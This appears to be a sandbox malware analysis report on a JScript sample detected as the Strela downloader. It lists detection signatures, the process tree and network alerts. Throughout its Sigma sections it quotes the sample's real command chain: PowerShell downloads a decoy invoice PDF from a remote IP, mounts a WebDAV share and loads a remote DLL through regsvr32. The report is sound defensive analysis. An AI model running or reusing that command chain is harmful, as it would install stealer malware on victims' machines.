Edit tour

Windows Analysis Report
1297823757234143258.js

Overview

General Information

Sample name:	1297823757234143258.js
Analysis ID:	1588620
MD5:	f67852c9d35c8ba9862918d518456d56
SHA1:	dd7ce39630efef672888a7fa08ff6cf2df6d7e20
SHA256:	b0352e0bc72989d32364ebe9a55d2953a9449a16e94deb2eea5ea64b653d2eec
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 8108 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1297823757234143258.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2088 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7316 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7780 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5844 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7136 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1632,i,3928676631812496068,8898472451381877635,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7820 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7100 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6920 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 8108	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2088, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7316, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2088, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7316, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1297823757234143258.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1297823757234143258.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1297823757234143258.js", ProcessId: 8108, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7100, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49759

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1297823757234143258.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8108, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 2088, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1297823757234143258.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8108, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 2088, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1297823757234143258.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8108, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 2088, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1297823757234143258.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8108, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 2088, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1297823757234143258.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8108, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 2088, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1297823757234143258.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1297823757234143258.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1297823757234143258.js", ProcessId: 8108, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2088, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7316, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7820, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7100, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6920, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7820, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7100, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1297823757234143258.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8108, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll, ProcessId: 2088, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:16:40.543474+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.10	49742	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:16:43.390134+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49759	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:16:40.543474+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49742	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1297823757234143258.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1297823757234143258.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.10:49742 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49759 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:16:40 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49759

